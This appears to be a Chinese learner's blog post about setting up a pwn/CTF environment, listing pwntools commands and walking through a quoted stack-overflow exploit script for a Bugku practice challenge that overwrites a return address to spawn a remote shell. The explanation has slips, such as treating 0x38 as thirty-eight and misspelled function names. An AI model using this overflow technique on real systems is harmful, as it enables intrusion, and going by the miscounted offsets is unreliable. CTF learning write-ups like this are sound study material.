闭关学pwn第二天——配置环境

前言

环境配置真的烦人…不说了泪目。
pwn第二天本来计划继续学栈溢出的，但南邮比赛今晚九点开始，于是先把pwn的环境配置好了再说。
按照网上各种教程结果乱七八糟的不知道怎么弄…
失败过很多次。于是把自己的经验写在这里吧。
今天一天都用来配置环境了= =
（主要是我想弄docker）
而且踩的坑太多太多，我已经无力了

安装docker——失败

https://blog.csdn.net/qq_27818541/article/details/73647797

然后运行到helloword出错，解决方法
https://blog.csdn.net/CaoMei_HuaCha/article/details/87544109
然后后面导入镜像和使用docker失败了= =
还去阿里云搞了个仓库
然后发现这个是用来搭建环境的，也就是模拟真题，与出题有关orz
于是先放弃，先搭建pwntools好了

安装pwntool

在kali中安装pwntools，安装完成后输入python进入python环境，使用from pwn import * 导入pwntools库
pwntool安装和使用的一些语句
https://www.jianshu.com/p/355e4badab50
such as

本地 ：sh = porcess("./level0")
远程：sh = remote("127.0.0.1",10001)
关闭连接：sh.close()  
sh.send(data)  发送数据
sh.sendline(data)  发送一行数据，相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault)  接受数据，numb指定接收的字节，timeout指定超时
sh.recvline(keepends=True)  接受一行数据，keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle)  接受数据直到我们设置的标志出现
sh.recvall()  一直接收直到EOF
sh.recvrepeat(timeout = default)  持续接受直到EOF或timeout
sh.interactive()  直接进行交互，相当于回到shell的模式，在取得shell之后使用

练手

放这里，拿几道题目练练手。
bugku的pwn2是栈溢出
用ida打开f5查看伪代码如下
网上wp脚本如下

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

一句句分析。
sh = remote("114.116.54.89", 10003)对照脚本即获取nc端口地址，进行远程连接

print sh.recv()读取数据

payload="A" * 0x38 + p64(0x400751)这句便是栈溢出的精髓了，构造payload，38个A是因为前面定义s的地址指针是rbp-30，64位的返回地址通常是rbp+8，加起来是38，所以弄三十八个覆盖掉，然后eip刚好就可以输入p64(0x400751)也就是这里get shell的地址。
sh.sendline(payload)发送这一行数据，这里相当于在nc端口终端输入了构造好的语句。同时也有个很重要的地方，就是read读取可以达到100，如果read只能读取30那栈溢出就没用了，就会自己截断掉。
最后sh.interactive()取得shell